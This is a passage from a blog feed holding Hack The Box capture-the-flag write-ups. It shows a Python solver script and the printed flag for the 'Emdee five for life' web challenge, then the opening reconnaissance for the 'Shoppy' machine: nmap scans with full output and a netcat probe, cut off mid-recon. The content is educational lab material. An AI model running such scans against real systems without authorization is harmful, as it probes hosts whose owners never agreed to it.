&lt;span class="nt"&gt;&amp;lt;/form&amp;gt;&amp;lt;/center&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Grabbing specific output
&lt;/h2&gt;

&lt;p&gt;Now it's time to shave our output down to only the text we need. We can use any parsing method, but I found &lt;a href="https://stackoverflow.com/a/24053323"&gt;This stack overflow answer&lt;/a&gt; to be most helpful.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;requests&lt;/span&gt;
&lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;'http://104.248.160.75:31480'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;content&lt;/span&gt;

&lt;span class="n"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;'utf-8'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;mystr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;res&lt;/span&gt;
&lt;span class="n"&gt;search&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"3 align='center'&amp;gt;"&lt;/span&gt;
&lt;span class="n"&gt;start&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;mystr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;search&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;search&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;stop&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;mystr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"&amp;lt;/h3&amp;gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;start&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mystr&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="n"&gt;start&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;stop&lt;/span&gt; &lt;span class="p"&gt;])&lt;/span&gt;

&lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;res&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now we have the raw "word."&lt;/p&gt;

&lt;p&gt;Now let's hash it!&lt;/p&gt;

&lt;h2&gt;
  
  
  Hashing the word
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://stackoverflow.com/a/5297483"&gt;According to stack overflow&lt;/a&gt;, we can use the following lines to make an MD5 hash of the word:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import hashlib
print(hashlib.md5(res.encode('utf-8')).hexdigest())
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Using the following code should yield a valid MD5 hash:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import requests
import hashlib
response = requests.get('http://178.128.167.10:31790')
res = response.content

res = res.decode('utf-8')

mystr = res
search = "3 align='center'&amp;gt;"
start = mystr.index(search)+len(search)
stop = mystr.index("&amp;lt;/h3&amp;gt;", start)
res = (mystr [ start : stop ])

print(res)

print("MD5 version:")

print(hashlib.md5(res.encode('utf-8')).hexdigest())
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output should look something like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;fJHiQK1isKuPYxbEulUH
MD5 version:
80ed60f85b4fbbc982b5816912b1ba6a
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Don't forget! We can always verify the validity with &lt;a href="https://www.md5hashgenerator.com/"&gt;an online tool:&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--WbOSP_pZ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/hq40259nqub7j8qt4ad7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--WbOSP_pZ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/hq40259nqub7j8qt4ad7.png" alt="Image description" width="486" height="121"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;That looks correct! now, we can focus on sending the hashed message back to the server!&lt;/p&gt;

&lt;h2&gt;
  
  
  Sending the hash
&lt;/h2&gt;

&lt;p&gt;In the original response, we saw that the HTML field name was called "hash" so we'll use that field name to submit our response. &lt;a href="https://www.geeksforgeeks.org/get-post-requests-using-python/"&gt;After a bit of reading&lt;/a&gt;, the syntax became extremely straightforward for the &lt;code&gt;requests&lt;/code&gt; library. We just need a dictionary to hold our data and submit our response. With that added, our code now looks like the following:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import requests
import hashlib
# Grabbing and decoding
url = 'http://178.128.167.10:31790'
response = requests.get(url) 
res = response.content
res = res.decode('utf-8')
# Parsing out the word
mystr = res
search = "3 align='center'&amp;gt;"
start = mystr.index(search)+len(search)
stop = mystr.index("&amp;lt;/h3&amp;gt;", start)
res = (mystr [ start : stop ])
print(res)

# Hashing as MD5
print("MD5 version:")
hash = (hashlib.md5(res.encode('utf-8')).hexdigest())
print(hash)

# Sending the hash
payload = {"hash":hash}
response = requests.post(url, data=payload)
res = response.content
flag = res.decode('utf-8')
print("\n\n" + flag)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Everything looks ready to use, so let's run it! &lt;/p&gt;

&lt;p&gt;Output: &lt;/p&gt;

&lt;h2&gt;
  
  
  Our flag... Or not?
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;LSByV3cfj4CH7ufR5G2a
MD5 version:
46b323c4923e460759346454210adb8f


&lt;span class="nt"&gt;&amp;lt;html&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;head&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;title&amp;gt;&lt;/span&gt;emdee five for life&lt;span class="nt"&gt;&amp;lt;/title&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/head&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;body&lt;/span&gt; &lt;span class="na"&gt;style=&lt;/span&gt;&lt;span class="s"&gt;"background-color:powderblue;"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;h1&lt;/span&gt; &lt;span class="na"&gt;align=&lt;/span&gt;&lt;span class="s"&gt;'center'&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;MD5 encrypt this string&lt;span class="nt"&gt;&amp;lt;/h1&amp;gt;&amp;lt;h3&lt;/span&gt; &lt;span class="na"&gt;align=&lt;/span&gt;&lt;span class="s"&gt;'center'&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;OLWB7P9EqGd03jHmmXRN&lt;span class="nt"&gt;&amp;lt;/h3&amp;gt;&amp;lt;p&lt;/span&gt; &lt;span class="na"&gt;align=&lt;/span&gt;&lt;span class="s"&gt;'center'&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Too slow!&lt;span class="nt"&gt;&amp;lt;/p&amp;gt;&amp;lt;center&amp;gt;&amp;lt;form&lt;/span&gt; &lt;span class="na"&gt;action=&lt;/span&gt;&lt;span class="s"&gt;""&lt;/span&gt; &lt;span class="na"&gt;method=&lt;/span&gt;&lt;span class="s"&gt;"post"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"hash"&lt;/span&gt; &lt;span class="na"&gt;placeholder=&lt;/span&gt;&lt;span class="s"&gt;"MD5"&lt;/span&gt; &lt;span class="na"&gt;align=&lt;/span&gt;&lt;span class="s"&gt;'center'&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/input&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/br&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"submit"&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"Submit"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/input&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/form&amp;gt;&amp;lt;/center&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It seems we're too slow. &lt;/p&gt;

&lt;p&gt;I thought we'd be fast enough, but maybe our code was too inefficient. We'll have to find a way to speed it up, but first we'll need to find out how fast we currently are!&lt;/p&gt;

&lt;h2&gt;
  
  
  Clocking our code
&lt;/h2&gt;

&lt;p&gt;Let's see how fast our code is running.&lt;/p&gt;

&lt;p&gt;We can use the &lt;code&gt;time&lt;/code&gt; command to clock it &lt;/p&gt;

&lt;p&gt;&lt;code&gt;time python3 payload.py&lt;/code&gt; yields us:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;real    0m0.690s
user    0m0.173s
sys 0m0.017s
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Why it didn't work:
&lt;/h2&gt;

&lt;p&gt;After reading a &lt;a href="https://www.soeren.codes/posts/hackthebox-emdee-five-for-life-writeup/"&gt;blog post&lt;/a&gt; about this challenge, I found out why this wouldn't work properly: &lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--hOmgkEYi--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/fs9joe1cw9vro8ibo13f.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--hOmgkEYi--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/fs9joe1cw9vro8ibo13f.png" alt="Credit to Soren_codes" width="792" height="94"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Knowing this, I rewrote my code to use a single coherent &lt;code&gt;session&lt;/code&gt; rather than sending random disjointed requests.&lt;/p&gt;

&lt;p&gt;Our code now looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import requests
import hashlib
# Grabbing and decoding
url = 'http://161.35.166.224:32511'
session = requests.session()
response = session.get(url) 
res = response.content
res = res.decode('utf-8')
# Parsing out the word
mystr = res
search = "3 align='center'&amp;gt;"
start = mystr.index(search)+len(search)
stop = mystr.index("&amp;lt;/h3&amp;gt;", start)
res = (mystr [ start : stop ])
print(res)

# Hashing as MD5
print("MD5 version:")
hash = (hashlib.md5(res.encode('utf-8')).hexdigest())
print(hash)


# Sending the hash
payload = {"hash":hash}
response = session.post(url, data=payload)
res = response.content
flag = res.decode('utf-8')
print("\n\n" + flag)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Only a few small changes, but it made a huge difference!&lt;/p&gt;

&lt;p&gt;Output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;C7RrJ4GN4f2tMK51Z8JZ
MD5 version:
d185f72466f92c697b6c9ed3ca496ebe


&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
&amp;lt;title&amp;gt;emdee five for life&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body style="background-color:powderblue;"&amp;gt;
&amp;lt;h1 align='center'&amp;gt;MD5 encrypt this string&amp;lt;/h1&amp;gt;&amp;lt;h3 align='center'&amp;gt;C7RrJ4GN4f2tMK51Z8JZ&amp;lt;/h3&amp;gt;&amp;lt;p align='center'&amp;gt;HTB{N1c3_ScrIpt1nG_B0i!}&amp;lt;/p&amp;gt;&amp;lt;center&amp;gt;&amp;lt;form action="" method="post"&amp;gt;
&amp;lt;input type="text" name="hash" placeholder="MD5" align='center'&amp;gt;&amp;lt;/input&amp;gt;
&amp;lt;/br&amp;gt;
&amp;lt;input type="submit" value="Submit"&amp;gt;&amp;lt;/input&amp;gt;
&amp;lt;/form&amp;gt;&amp;lt;/center&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Lessons learned
&lt;/h2&gt;

&lt;p&gt;It's times like this that remind me that &lt;a href="https://www.hackthebox.com/blog/It-is-Okay-to-Use-Writeups"&gt;it's okay to use writeups&lt;/a&gt;, even &lt;a href="https://www.linkedin.com/posts/ippsec_it-is-okay-to-use-writeups-activity-7072539730092941312-VNtm?utm_source=share&amp;amp;utm_medium=member_desktop"&gt;the best people in the field do it to learn!&lt;/a&gt;. If I hadn't have stopped and read a writeup, I wouldn't have understood why I needed to use &lt;code&gt;requests.session()&lt;/code&gt;, and I wouldn't have been able to progress. It's easy to get frustrated while learning new things, but there's no point in staying frustrated if you're stuck.&lt;/p&gt;

&lt;p&gt;Thanks for reading! Be sure to come back to read my writeup on "Heist"!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--BBzX9sf2--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ix2el1w35umd19arv6nw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--BBzX9sf2--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ix2el1w35umd19arv6nw.png" alt="Image description" width="787" height="863"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>tutorial</category>
      <category>python</category>
      <category>security</category>
    </item>
    <item>
      <title>Hack The Box Writeup: Shoppy</title>
      <dc:creator>SSHad0w</dc:creator>
      <pubDate>Mon, 27 Mar 2023 19:55:13 +0000</pubDate>
      <link>https://forem.com/sshad0w/hack-the-box-writeup-shoppy-9ab</link>
      <guid>https://forem.com/sshad0w/hack-the-box-writeup-shoppy-9ab</guid>
      <description>&lt;p&gt;This is a beginner friendly writeup of Shoppy on Hack The Box. I hope you learn something, because I sure did! Be sure to comment if you have any questions!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu5snwlj4nvwftkktuiza.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu5snwlj4nvwftkktuiza.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Adding the domain to &lt;code&gt;/etc/hosts&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;In order to properly resolve our IP to a hostname, we'll need to map it's IP to a hostname using local DNS. This way, we won't need to type the IP address each time we'd like to communicate with the machine. In order to do this, we'll need to use the command &lt;code&gt;sudo vi /etc/hosts&lt;/code&gt;, type in our password, and follow the convention within the file (IP address [TAB] domain name) to add it to the file on the next line like so:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fc8e9fnvtfckpysw5buo5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fc8e9fnvtfckpysw5buo5.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Make sure that your IP matches up with the instance HTB gave you! Don't copy mine!&lt;/em&gt; &lt;/p&gt;

&lt;h2&gt;
  
  
  Recon
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Nmap
&lt;/h3&gt;

&lt;p&gt;For speed purposes, I use a very quick nmap scan to grab all of the open ports on the machine (and nothing more). The &lt;code&gt;-p-&lt;/code&gt; flag is great for this. &lt;strong&gt;Without &lt;code&gt;-p-&lt;/code&gt;, I'd only scan for the most common 1000 ports instead of all 65,535 TCP ports. This can be a fatal mistake in the enumeration phase.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Here's the command we'll use: &lt;/p&gt;

&lt;p&gt;&lt;code&gt;nmap -p- shoppy.htb&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Quick Nmap output
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Nmap scan report for shoppy.htb (10.10.11.180)
Host is up (0.031s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
9093/tcp open  copycat

Nmap done: 1 IP address (1 host up) scanned in 280.71 seconds
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;em&gt;Note that these ports are all TCP only! If we wanted to scan UDP we'd use the -sU option.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Now that we have identified the ports available we know that the ports available are 22, 80, and 9093. With this information, we can infer that there's a webserver, and an SSH client running on this machine. However, there's another port that I don't recognize. Let's look into all of them, but keep an eye on our out of place port.&lt;/p&gt;

&lt;h2&gt;
  
  
  Full nmap
&lt;/h2&gt;

&lt;p&gt;My full nmap scan uses the following options: &lt;/p&gt;

&lt;p&gt;&lt;code&gt;nmap -sCV -p 22,80,9093 -o shoppy.nmap shoppy.htb&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;-sV&lt;/code&gt;: Detects service versions&lt;br&gt;
&lt;code&gt;-sC&lt;/code&gt;: Runs safe scripts (using the NSE)&lt;br&gt;
&lt;code&gt;-p&lt;/code&gt;: Scans selected ports&lt;br&gt;
&lt;code&gt;-o&lt;/code&gt;: Outputs in normal format. (With filename "shoppy.nmap")&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Nmap 7.92 scan initiated Wed Dec 14 19:10:22 2022 as: nmap -sCV -p 22,80,9093 -o shoppy.nmap shoppy.htb
Nmap scan report for shoppy.htb (10.10.11.180)
Host is up (0.093s latency).

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 9e:5e:83:51:d9:9f:89:ea:47:1a:12:eb:81:f9:22:c0 (RSA)
|   256 58:57:ee:eb:06:50:03:7c:84:63:d7:a3:41:5b:1a:d5 (ECDSA)
|_  256 3e:9d:0a:42:90:44:38:60:b3:b6:2c:e9:bd:9a:67:54 (ED25519)
80/tcp   open  http     n17/12/2022 16:08ginx 1.23.1
|_http-server-header: nginx/1.23.1
|_http-title:             Shoppy Wait Page        
9093/tcp open  copycat?
| fingerprint-strings: 
|   GenericLines: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest, HTTPOptions: 
|     HTTP/1.0 200 OK
|     Content-Type: text/plain; version=0.0.4; charset=utf-8
|     Date: Thu, 15 Dec 2022 00:10:27 GMT
|     HELP go_gc_cycles_automatic_gc_cycles_total Count of completed GC cycles generated by the Go runtime.
|     TYPE go_gc_cycles_automatic_gc_cycles_total counter
|     go_gc_cycles_automatic_gc_cycles_total 11
|     HELP go_gc_cycles_forced_gc_cycles_total Count of completed GC cycles forced by the application.
|     TYPE go_gc_cycles_forced_gc_cycles_total counter
|     go_gc_cycles_forced_gc_cycles_total 0
|     HELP go_gc_cycles_total_gc_cycles_total Count of all completed GC cycles.
|     TYPE go_gc_cycles_total_gc_cycles_total counter
|     go_gc_cycles_total_gc_cycles_total 11
|     HELP go_gc_duration_seconds A summary of the pause duration of garbage collection cycles.
|     TYPE go_gc_duration_seconds summary
|     go_gc_duration_seconds{quantile="0"} 2.8354e-05
|     go_gc_duration_seconds{quantile="0.25"} 9.8767e-05
|_    go_gc_d
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9093-TCP:V=7.92%I=7%D=12/14%Time=639A65FF%P=x86_64-pc-linux-gnu%r(G
SF:enericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20
SF:text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\
SF:x20Request")%r(GetRequest,2A82,"HTTP/1\.0\x20200\x20OK\r\nContent-Type:
SF:\x20text/plain;\x20version=0\.0\.4;\x20charset=utf-8\r\nDate:\x20Thu,\x
SF:2015\x20Dec\x202022\x2000:10:27\x20GMT\r\n\r\n#\x20HELP\x20go_gc_cycles
SF:_automatic_gc_cycles_total\x20Count\x20of\x20completed\x20GC\x20cycles\
SF:x20generated\x20by\x20the\x20Go\x20runtime\.\n#\x20TYPE\x20go_gc_cycles
SF:_automatic_gc_cycles_total\x20counter\ngo_gc_cycles_automatic_gc_cycles
SF:_total\x2011\n#\x20HELP\x20go_gc_cycles_forced_gc_cycles_total\x20Count
SF:\x20of\x20completed\x20GC\x20cycles\x20forced\x20by\x20the\x20applicati
SF:on\.\n#\x20TYPE\x20go_gc_cycles_forced_gc_cycles_total\x20counter\ngo_g
SF:c_cycles_forced_gc_cycles_total\x200\n#\x20HELP\x20go_gc_cycles_total_g
SF:c_cycles_total\x20Count\x20of\x20all\x20completed\x20GC\x20cycles\.\n#\
SF:x20TYPE\x20go_gc_cycles_total_gc_cycles_total\x20counter\ngo_gc_cycles_
SF:total_gc_cycles_total\x2011\n#\x20HELP\x20go_gc_duration_seconds\x20A\x
SF:20summary\x20of\x20the\x20pause\x20duration\x20of\x20garbage\x20collect
SF:ion\x20cycles\.\n#\x20TYPE\x20go_gc_duration_seconds\x20summary\ngo_gc_
SF:duration_seconds{quantile=\"0\"}\x202\.8354e-05\ngo_gc_duration_seconds
SF:{quantile=\"0\.25\"}\x209\.8767e-05\ngo_gc_d")%r(HTTPOptions,2A82,"HTTP
SF:/1\.0\x20200\x20OK\r\nContent-Type:\x20text/plain;\x20version=0\.0\.4;\
SF:x20charset=utf-8\r\nDate:\x20Thu,\x2015\x20Dec\x202022\x2000:10:27\x20G
SF:MT\r\n\r\n#\x20HELP\x20go_gc_cycles_automatic_gc_cycles_total\x20Count\
SF:x20of\x20completed\x20GC\x20cycles\x20generated\x20by\x20the\x20Go\x20r
SF:untime\.\n#\x20TYPE\x20go_gc_cycles_automatic_gc_cycles_total\x20counte
SF:r\ngo_gc_cycles_automatic_gc_cycles_total\x2011\n#\x20HELP\x20go_gc_cyc
SF:les_forced_gc_cycles_total\x20Count\x20of\x20completed\x20GC\x20cycles\
SF:x20forced\x20by\x20the\x20application\.\n#\x20TYPE\x20go_gc_cycles_forc
SF:ed_gc_cycles_total\x20counter\ngo_gc_cycles_forced_gc_cycles_total\x200
SF:\n#\x20HELP\x20go_gc_cycles_total_gc_cycles_total\x20Count\x20of\x20all
SF:\x20completed\x20GC\x20cycles\.\n#\x20TYPE\x20go_gc_cycles_total_gc_cyc
SF:les_total\x20counter\ngo_gc_cycles_total_gc_cycles_total\x2011\n#\x20HE
SF:LP\x20go_gc_duration_seconds\x20A\x20summary\x20of\x20the\x20pause\x20d
SF:uration\x20of\x20garbage\x20collection\x20cycles\.\n#\x20TYPE\x20go_gc_
SF:duration_seconds\x20summary\ngo_gc_duration_seconds{quantile=\"0\"}\x20
SF:2\.8354e-05\ngo_gc_duration_seconds{quantile=\"0\.25\"}\x209\.8767e-05\
SF:ngo_gc_d");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Dec 14 19:12:03 2022 -- 1 IP address (1 host up) scanned in 100.75 seconds
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Port 9093
&lt;/h2&gt;

&lt;p&gt;9093 is a weird port with an unidentified service. I'll revisit the strings later to see if I can get it to snag something, but for now, I'll interact with the port directly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌─[sshad0w@SSHad0w]─[~/Documents/ctf/htb/shoppy]
└──╼ $nc shoppy.htb 9093
ls
HTTP/1.1 400 Bad Request
Content-Type: text/plain; charset=utf-8
Connection: close

400 Bad Request
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Seems to be HTTP based. &lt;a href="https://dev.to/sshad0w/3d2r-february-web-application-basics-43al"&gt;I can tell it's HTTP based because I notice that the response fit the protocol.&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Maybe that's why the protocol was dubbed "copycat". It could be a "copycat service" made to look like HTTP. Since it seems to be HTTP, I'll go ahead and visit it in a browser.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftqymh0b8ocinmxhcungf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftqymh0b8ocinmxhcungf.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The browser gives me all of these weird messages. My best guess is that it's written in Go considering it says "Go runtime" at the top of the page.&lt;/p&gt;

&lt;p&gt;At the very bottom of the page, there's the following line:&lt;/p&gt;

